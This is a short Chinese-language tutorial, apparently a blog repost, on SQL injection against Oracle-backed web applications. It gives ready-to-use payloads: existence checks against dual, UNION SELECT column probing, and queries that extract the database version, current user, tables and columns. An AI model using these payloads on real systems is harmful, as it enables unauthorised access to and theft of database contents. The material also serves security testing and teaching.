Sql注入之oracle

Posted she11s

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sql注入之oracle相关的知识,希望对你有一定的参考价值。

Sql注入之oracle

介绍

oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,

它具有如下特点:

  • 支持多用户,大事务量处理
  • 数据安全性和完整性的有效控制
  • 支持分布式数据处理
  • 移植性强

常用jsp+oracle

数据库判断

and exists(select * from dual)

and exists(select * from user_tables)

联合注入

假设列数为5

union select null,null,null,null,null from dual

注意一定要写null否则会报错

判断非数字列:
  • 修改第一个null为数字
union select 1,null,null,null,null from dual
  • 界面返回正常,说明第一个为数字列,无法爆我们所需要信息,修改第二个为 数字,复原第一个null
union select null,1,null,null,null from dual
  • 界面返回错误,说明第二个为字符列,可以报我们所需要信息,进行攻击
union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
  • 界面回显出数据库版本,如果没有回显出,则可以继续寻常找非数字列,利用非数字列来爆我们所需信息。
  • 常用攻击语句
1.获取数据库版本
select banner from sys.v_$version where rownum =1
2.获取操作系统版本
select member from v$logfile where rownum = 1
3.获取连接数据库的当前用户
select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
4.获取数据库
select owner from all_tables where rownum = 1
5.获取表名
select table_name from user_tables where rownum = 1
6.获取列名
select column_name from user_tab_columns where table_name='admin' and rownum = 1    #admin替换成你需要的表名

其他注入

  • 获取表
and (select count(*) from admin)<>0

返回正常则存在admin表,错误则不存在

  • 获取列名
and (select count(name) from admin)>=0

返回正常则存在name列,错误则不存在

以上是关于Sql注入之oracle的主要内容,如果未能解决你的问题,请参考以下文章

sql Oracle代码片段

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

SQL注入攻击之sqlmap

Sql注入之postgresql

如何防止sql注入oracle apex

Fortify Sql 注入 for Oracle